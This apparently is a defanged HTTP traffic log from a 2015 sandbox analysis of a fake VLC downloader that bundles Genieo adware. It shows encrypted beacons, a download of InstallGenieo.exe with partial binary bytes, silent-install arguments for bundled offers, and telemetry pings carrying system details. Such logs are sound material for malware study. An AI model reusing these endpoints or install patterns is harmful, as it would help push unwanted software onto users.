GET /10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G YumFos9rzojEsyeWqtXwvV7KYX3Ti/i3YPvxAwLXMukWzjXjZd m6fcoMilJCrTiJmdNM/FWlP8nY9nTXJsYRGYF4yctsH/05cx2oSslfro2aAV qdlpziQkAthTeQnkDpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /pages/index.html?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:16 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://VVV.nytimes.com/index.html?partner=rss&emc=rss

Content-Length: 265

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.nytimes.com/index.html?partne
r=rss&emc=rss">here</a>.</p>.</body></html
>...

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 6oxNhx/OFxULHs2tFygFXOncaiAk8dnNqfBGRm bg2XYUIYYvtVSAnej2Y7p5OuJ

x-amz-request-id: 7F9717FD6BC79D4A

Date: Fri, 15 May 2015 23:02:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Content-Length: 0

Server: aicache6x

Connection: close

Location: hXXp://VVV.cnbc.com/id/100746255?region=world

GET /install.ashx?e=Ka qOJkckoXHjWHokC5IQCMfVLVpDA5X8UqHvUhinpROltvoj5oECStbFykGQeFJDeQKlJvveialrJqc9qQAK1HmS0Zrngqa6Ha6Ow3g2rrj3 CvjB98G1GtCg9PrzUnZPIZBVxWPMSIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsy5 wx ILhhS1qgTPL7jymlK4iUIGEzXSrL Evyupn5FoSAG857z6vS3i28c06HcJzw6k2WyEzVaiE2MX7f2ZK72fyKJ1Wgj90hSGXxmbSCTDqH4uNI47xgDxKQOcEi7gDL Evyupn5FoSAG857z6vSJoFp5BSgEe3Or7WZbrDrQA0K6wxeD7aRji4XER0T3SsRjhY3fDkRrRGH92XQHP1g8svjkMkOLYxtnlzuV8QGbxOn8Zt7Uvfxo7rTqA4tGAvJ3g/46853GMtCsCrExr/dLTgcouY3pl/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: wt94bf4ec-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: application/octet-stream

Content-Length: 2432

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]..,(.A....V..*..S...E.^.:*..I.6..4.......
U..........0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4'/W.on..?t.b...D.... ........C..-.vko...........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._..%...).G.6......9-"...bK.<
;s0....[Hn5.Z..T.......^B..\.^..P../..s$..VPf{...M3.._.[,...C.L.....$.
[email protected].<p....k..d..3....&...8....!.ea.5..5...J....hEq.@
I.E.].........{pjG,`].U.=W...zt......K..O......X..TCn.9N-..-n...NUM...
OI...F.......)...cz.....ah..]...i....H........2c...J.{z.sgK...2.H$....
......j[@....J.{z.F...ja.S..q......'.pZ.Z.......B...... .....B.[_.....
...rB..DgS0m.5..#[email protected]............([email protected].]...;......Z
....$.F.2...U....q{.x...t5..iV.h....8b.....!6.....,-."........E._.f...
...j.'y...c....m........_`.i.I!.....{..!..dB....w...p.&......4`.i.O&e.
..%..}.hP......Q.g.Eu.k.".H...1..L%....,......2.$2J.1$>...P..&....y
.Y.....B.0p...Q....Q.h|.........rv.z..uu.g.h.....;.G:.w.."J.JF...|..y.
....`...q..V.<...._....-g....!.ea.L..............f..%7"[email protected]
..&..Q.q]....F....p.^5~..B...Fy..\..ym...ID.....z...8...y...a.s.....\.
.,I.9!..MT{.6.w.E..e.....-...7)c.....8...b..T.....b....&Ck...c........
...'...X;....V.G...u../.. .....2........G&6..0C.;AK.4...&.xl..l.&J..m.
......fm....P....h:k....m.K #...Pa......Z~..*}....,,J....hEqx....8<<< skipped >>>

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972 HTTP/1.1

Host: logs.basememlog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:55 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1431730975.dop017.am4.t,1431730975.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Fri, 15 May 
2015 23:02:55 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1431730975.dop017.am4.t,1431730975.
cds058.am4.c..GIF89a.............,...........D..;..

GET /services/xml/rss/nyt/HomePage.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: MF2=19hhj9gxbdklf; RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Content-Length: 9635

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:05:13 GMT

Content-Type: text/xml;charset=UTF-8

Server: FeedsPortal

ETag: 1431730569000

Last-Modified: Fri, 15 May 2015 22:56:09 GMT

Connection: close
...........}.r.8.....{@...djE..-..8..e&V._ 9.v...HHB.$..iG.5..o..Us-s)
s%{[email protected]:.(.... .....?}.Br...E..E... ,.E........:./~::.....C&.
..$.....)...>....&l...4Mg..V"e3..<b.....h.x....?........... ..o.
.K....w;M.LZ..._.......g8r........._GS.=t...vZ][email protected]... .n
...XD.VqY..N..IF........W.6P.........Y........4.....>[email protected]"..L...
........t....).c......B....Xmsu.$Kn.....T..........&.."...lI.....n..,.
>MA,^......a....].rM.<I.J......./....w........}nN.(.iF.4f....g..
..".?..T ...~.g..Q..ak..aH.I...X.dxa.....y.'...W|".n.C...\.;..Hn.5*Gz"
..x~.Z^t8.F'4eGo.. p.9......:..;;....a.8.4..q..`....|....6.....H....a.
.v.$t6....gm..lE\.-h..PL.o`...;..].9.'.-l....r.y...g(Z.......d.FiBo...
.ND....2g.`.e.d..|...9<u..g.,p.x.}NC.H:....lOi..,]..]%.\.`5r. ...`2
T..3.&.........L.t..:.....vv..;.qko....-.....v.~.... .-.......no...;n.
..?.=..I....z.P...r=4....\O.......S. ..z....p.1..=.m.....w`1..%S...6..
........IS..8.|.......r.*5..< ..!S....wx:.....,.......g.*...Q....l"
.0..n...T].........`...;......N....s...G.r..t.O;xp1\...L..>....h...
..2..X....E..-J.%....o^.0\=..Gz....9f,.3..4T.$.H..........me..W.R.B.o.
L._...0.....0.w[.l4.Z.>. a.0.....u.n...Oi..ge...4...)[email protected]@
..*..YS....:^......co...;6~\Um...I.][email protected]*p
..w......_...N[G.....!P.;.....Y:'......sq..C...@.....}. W......%.^.5..
.....D..x..?d.{......$.....K"z...........T..E..P..{...0.dG'....:......
....y..k...._......!L.....M....D.S .o..$>`.l..=... C.._D....~4&W..r
6.. ...}0.j;E..K..p: .$G..X...oQ..0.s..WS....@.(..O,.B...H?.e2....<<< skipped >>>

GET /14396.ashx?e=uWabAt9SLcz1rEcPDUvKZj0Z7sea5zO UB/4jIVeTtL8ln8Iap23//2TEkHeJNDUga zuhV9q9Hkf4JsJqHXLCR1q1S/V1rzDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL6 f36LpRGWTOPQbi9J/L4Un7VGscQsWmG0rXCKv72ck3a4leJj3gd30GxQkL QSvRXZhP8niUnuouQlrWxrEbh307rxaZ1a5Q1BRFmm7xFCR/TQDPQj2/BXUvq LBuSsYHItXZWLu6qr7AYX4zQsugICqsOtV0jEpfD757nSlzRwFcijFc6Rq0TcyQFgmQvaWAtNVO4ZBpyhNoTsPRQylobE24FQ8d9v1NTrse/S6bH3ikPYVfMObp6skJGHV6Wx/RAFOdxzOm79zKEv37udDSeG7SWcjRf4QvtzO Ow1rbxmuSk9kZ0iSZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:49 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:49 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /14396.ashx?e=QHucCbLl /YLjT49fHfOTAGx/L8zMsL1/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lzi9D8ZnuFanqY5GcMHOnR dxUU31LK7oTpek9GMPHJkI4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qokzxF27b2JzdAEQeGtxajvJfNvXfkgUrm/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:53 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:53 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /www/img/favicon.svg HTTP/1.1

Accept-Encoding: gzip,deflate

Host: static-1.tvgcdn.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx

Content-Type: image/svg xml

Content-Length: 3296

Last-Modified: Tue, 13 Jan 2015 06:53:31 GMT

ETag: "54b4c0eb-ce0"

Access-Control-Allow-Origin: *

Accept-Ranges: bytes

Cache-Control: public, max-age=20952107

Expires: Wed, 13 Jan 2016 11:06:48 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg w
idth="32px" height="32px" viewBox="0 0 32 32" version="1.1" xmlns="htt
p://VVV.w3.org/2000/svg" xmlns:xlink="hXXp://VVV.w3.org/1999/xlink" xm
lns:sketch="hXXp://VVV.bohemiancoding.com/sketch/ns">.    <!-- G
enerator: Sketch 3.1.1 (8761) - hXXp://VVV.bohemiancoding.com/sketch -
->.    <title>favicon_32</title>.    <desc>Create
d with Sketch.</desc>.    <defs></defs>.    <g id
="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenod
d" sketch:type="MSPage">.        <g id="favicon_32" sketch:type=
"MSArtboardGroup">.            <rect id="Rectangle-1" fill="#FD0
000" sketch:type="MSShapeGroup" x="0" y="0" width="32" height="32">
</rect>.            <path d="M20.4246045,24.804235 L18.082367
4,24.804235 L18.0823674,18.6655698 L20.4007377,18.6655698 C22.3330778,
18.6655698 23.1295887,19.6067692 23.1295887,21.7022539 C23.1295887,23.
9285598 22.198927,24.804235 20.4246045,24.804235 Z M20.392855,20.13906
76 L19.7306408,20.1390676 L19.7306408,23.3474023 L20.392855,23.3474023
 C21.1500988,23.3474023 21.3946794,23.1183329 21.3946794,21.6943759 C2
1.3946794,20.4009369 21.1579814,20.1390676 20.392855,20.1390676 Z M15.
4548228,18.6655698 L15.4548228,24.8043109 L17.1424363,24.8043109 L17.1
424363,18.6655698 L15.4548228,18.6655698 L15.4548228,18.6655698 Z M14.
5526262,22.6108806 C14.5526262,24.1248292 13.7404229,24.9187697 12.092
0036,24.9187697 C10.4516859,24.9187697 9.61583474,24.133086 9.6158<<< skipped >>>

GET /www/img/favicon.svg HTTP/1.1

Accept-Encoding: gzip,deflate

Host: static-1.tvgcdn.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx

Content-Type: image/svg xml

Content-Length: 3296

Last-Modified: Tue, 13 Jan 2015 06:53:31 GMT

ETag: "54b4c0eb-ce0"

Access-Control-Allow-Origin: *

Accept-Ranges: bytes

Cache-Control: public, max-age=20952099

Expires: Wed, 13 Jan 2016 11:06:48 GMT

Date: Fri, 15 May 2015 23:05:09 GMT

Connection: keep-alive
<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg w
idth="32px" height="32px" viewBox="0 0 32 32" version="1.1" xmlns="htt
p://VVV.w3.org/2000/svg" xmlns:xlink="hXXp://VVV.w3.org/1999/xlink" xm
lns:sketch="hXXp://VVV.bohemiancoding.com/sketch/ns">.    <!-- G
enerator: Sketch 3.1.1 (8761) - hXXp://VVV.bohemiancoding.com/sketch -
->.    <title>favicon_32</title>.    <desc>Create
d with Sketch.</desc>.    <defs></defs>.    <g id
="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenod
d" sketch:type="MSPage">.        <g id="favicon_32" sketch:type=
"MSArtboardGroup">.            <rect id="Rectangle-1" fill="#FD0
000" sketch:type="MSShapeGroup" x="0" y="0" width="32" height="32">
</rect>.            <path d="M20.4246045,24.804235 L18.082367
4,24.804235 L18.0823674,18.6655698 L20.4007377,18.6655698 C22.3330778,
18.6655698 23.1295887,19.6067692 23.1295887,21.7022539 C23.1295887,23.
9285598 22.198927,24.804235 20.4246045,24.804235 Z M20.392855,20.13906
76 L19.7306408,20.1390676 L19.7306408,23.3474023 L20.392855,23.3474023
 C21.1500988,23.3474023 21.3946794,23.1183329 21.3946794,21.6943759 C2
1.3946794,20.4009369 21.1579814,20.1390676 20.392855,20.1390676 Z M15.
4548228,18.6655698 L15.4548228,24.8043109 L17.1424363,24.8043109 L17.1
424363,18.6655698 L15.4548228,18.6655698 L15.4548228,18.6655698 Z M14.
5526262,22.6108806 C14.5526262,24.1248292 13.7404229,24.9187697 12.092
0036,24.9187697 C10.4516859,24.9187697 9.61583474,24.133086 9.6158<<< skipped >>>

GET /downloader/network_smb_indostreamix/vlcmediaplayerelzy/4dfad7cc08236142b5420a1deefa56ef?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=4dfad7cc08236142b5420a1deefa56ef&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:18 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N...(.v.;.a^[.....;..H.~ .R...\.D.<
.}..d....*[email protected].....[.4Y|..........=.....5.w.."n$..l.-.`..l.
5...d._,.|)......Y.>.......O.F....G.M.I.N>./..(..He.-xw.....>
.r......4..A<.g_..E>......}6Y|.;....$9....|..,_d'....../..q....E
6_|...I....d.N..89?...b....._.?|i...q..d:.d.yt..........x...G.a...,..{
.x.E......Y......S6..z..=.X...<.....E...6.>.a.~|2.d..D.....h....
.r........,.I...(u.Ef\....u...b..G?......V........<C..t<.&)..!..
.].c.....{.d~.>Mg.C.o.\..C.{~..g'..,.....|~.a:....$ON..(....r..a..q
..aF..|..C.HN.m.!..Z....l..yv....G....:u2^...#...1.......I>IF..K ..
.G.w..b.......K.]..Y<I.....-......."?...ez.N?LF.8=I...b......Ue....
}....r...>f.>...L....5.....c..2.&.)..nB7:[email protected]
.a........nr.T^v.:.~8........e....m....w....]..|...7.,g...d.&.........
.g7.}'.s....x.....oe.o............... 6Q<..........?.....>Z....N
%........0..f8.........e..Sl.;.w.4.to_.... .}]..............._^..j...o
.........c.W..........s. ..V........x....|..^S..{7..].........y. ...W.
.._...[.|.........N..n..;_..wj.w...C.e<...V,..^N.`..T...Q<.g....
..."*...g.{...A<..FX<|.....8......e...c^. S.o.J...{..........i|.
.<.,'..5...&..Y.X.&.9...{......5^....../b09YZ....K..Dq..S.h.....Q..
..LgM......n..e...t...Z......Q...'[.....f.Q....X.E.>q_.7....\....[.
:...l.....|....f?.[Wa...UY...aY..;..k*.G.la.*..J......~_Kq..-|.$..s...
..9,&.[......O.N1.....|1._r_.w Kg3.I.~..6!..}...S0.XU^.....Q...X..[..(
.:...Y.Ox;.?.5...Q.......{...jsk.5_..u..?.M..j...=..n./._`.T..~..^<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=2&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=2&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=3&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=3&offers[geneio_non_search_for_pc][exec_args]= /bi_sponsored_sub_process /run_bi&offers[geneio_non_search_for_pc][offer_indexes][slot_number]=4&offers[geneio_non_search_for_pc][offer_indexes][index_in_screen]=1&offers[geneio_non_search_for_pc][offer_indexes][index_in_session]=4&uid_orig=226e0daa89188549baf0d586a6bc816b&uid=4dfad7cc08236142b5420a1deefa56ef&tokyo_csrf_key=4b40d34c6dda2ca199f32e3217b68725&tokyo_csrf_timestamp=1431730938&ffInstalled=false&dfz=false&affid=network_smb_indostreamix&sid=vlcmediaplayerelzy&country=UA&hostBrowser=ff&unique_id=1e49cbf272b0b1cc3bcc98a4a55de57c HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://b
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:18 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
536.............Xmo.6.. .> .e..m..A.e......E]..t..K.FRQ...}G.....*7
.. .C.........MX.....kQ."..E...ZH3.bwzl.s9...>..........2.....t..w.
..*.t t...(.E.H.u...w3..w..2P.&.....].......H..b.......DD.\...yw.....W
?V..N3.4M..|.O.D.T.....P..JH.q.P ..5..qw..T.JlW.sh..>..Z......W..!,
.-3~rQ..........Bi.-!ZU..R...tQ.s.3.j...q.s..$,..r..z.r<.....$.].& 
X...~..z.?.7..|.x...~%D.E.o./.....2...[...B!R...[..YC....U.F..qa%d....
i...iD..L.(~6. ...Zk_.Q..~f.'.Vw.....ER..6V}`<..2_/.)..?.K4#.......
.........`<l....l...7.D.SAc0........g....9.....0U................_.
...)/..sE. 6FT.BH.fw......?....N.63....F$.s......Yh.V`\M...".`...(&~..
~....TjU.dGG...E../;`..,;.&...w...X'.........r...0.h.{D8g...G.....a...
s<7.J...<a2.....<...aK`.f.%.0.........&..Z|.^a.`H......aT.t..
.U=z8.PX..F5.t.....g9]....P"..t...1..!.E...TFK....|s4.;?.......e......
..y E..;6. [email protected],T..P&.MV.C..[f.Q..8.z....A>.
a..`.z...|....g..........[.k..'..~g...M....S.................%ZB$$..m.
.c...,t.. ...&.Y...^BCC..*..)..GE...1...<w|.n....~A.....\...F.i.rm0
D.SSO..!...SeG...u...^.Kf.m)..O.G..mK...0l...%r....7....x...n<....T
....L...].*I.$y....\... ....*.,1.....!$`uR...T."5..X.q....e.dp>..z.
y..h......._...{...&......#d....!.M...N..........K.w../.c.G.X.h)R..6.|
N......*..W..........P.`.qz.1h...t..;.....~..fU...j..*J&}R?.L..hL...d.
...I....~..Fq8.'.wn.i...$Y.N.A....I0.l..\...p.....0..<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=8486386-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 14143975

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 8486386-22630360/22630361
BVX...P1......"....K....x..gc.).I....L....%M../.G...Gh-...RQ.6.....M.a
....#.{BY.x...\.8.:...].&...).94ip.p...=z.#....p... .O..c....=..9.....
|....&&......P[..........r.3..[*.....m .(..".b...'....}.$)...=..![..&.
_.h.......XXe.~.Y.......L..... ..x..Q.....i......d..-...y).N....R(a../
Gx...0Fr..~.AG.w.c.Gr..^....=.....g...VB.O.5=.&<...y.ua.(....T.!Dh.
... .......g}.1.c..]..9...H..E.5q.C.......C...sy.F.W....Mj5......@?j..
Qe.E..K........O.'...a."X.Q4..>.6..?.%`..o.B..K.._u.1F...G......[.;
..x.....r.G.&#..f.i....'.....!..u.:)..&...'.j.V...8.2......C.....fFO*-
[email protected]....._....|...{<....b/."..GF.I...3.OH>,y\... .....
{[.P.Q[..o.F.QC...%..l....... ...sQVk..o9........4..8.....g`o...sG..9b
u....]x...i.X &.;.6.9;.....Ha..F....".>.r.ti.b^..).y..!..p....|...6
).._BoY.3D...".....Y. .t1'[email protected]...=..r...ny.3....)&..
P..#q......<..b...X..LB..I.T\..e'a.06...XdD.h.Al...8Ir$..S#E8.....T
a&..v..vs-.Z_.X.:....B.........XA..F.@._$.....j&^ ..9m..d.W_.>.k{b.
..B.._..nO.8%>....H.(Q.E...j...Q....;Fa..4.c..ik\....{../.>$Rj..
...#......KLB4Ql.:6.q.T|.Ea........;......~.1H.,...,...p...#.?........
X2JRn...Re...(.a`.....f.....F.(5-n.fN..d..._.x.F..i..._....]y.d...{R..
.J".0vh.:.B.."..y.....#.i.o.N...CNC.!..{.R....8.G#.2..S.vH)C;~..>.B
....R.Q.p..;...F=..ry...........=..z..<i..JpT..... =....5._...H....
B.."......K ..8.0":...!...q.......;....].A.I...Ry......U;..9......&.32
T..t....X.q.....t..w$.mv....~.b9...e...7].....3...wm.G"#...... ._...n0
`3....]..B.Qf..\...._4...c.9.ae.U.r..M.m*.....X.T...N.wyu!.sD.~...<<< skipped >>>

GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&data=updater_ping=&revision_core=0&revision_updater=0&revision_partner=0&os_version=Microsoft Windows 7 Professional Service Pack 1 (build 7601), 64-bit&java_version=1.6 HTTP/1.1

User-Agent: Genieo

Host: analytics.genieo.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:03:19 GMT

Server: Google Frontend

Cache-Control: private

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

Accept-Ranges: none

Transfer-Encoding: chunked

44..Tracked 8 activities for user {32251120-2B2D-43EF-B352-87E9353282D
F}..0..HTTP/1.1 200 OK..Content-Type: text/plain; charset=iso-8859-1..
Vary: Accept-Encoding..Date: Fri, 15 May 2015 23:03:19 GMT..Server: Go
ogle Frontend..Cache-Control: private..Alternate-Protocol: 80:quic,p=1
,80:quic,p=1..Accept-Ranges: none..Transfer-Encoding: chunked..44..Tra
cked 8 activities for user {32251120-2B2D-43EF-B352-87E9353282DF}..0..

GET /services/xml/rss/nyt/GlobalHome.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:57 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/InternationalHome.xml

Content-Length: 273

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/InternationalHome.xml">here</a>.</p>.</body>&
lt;/html>...

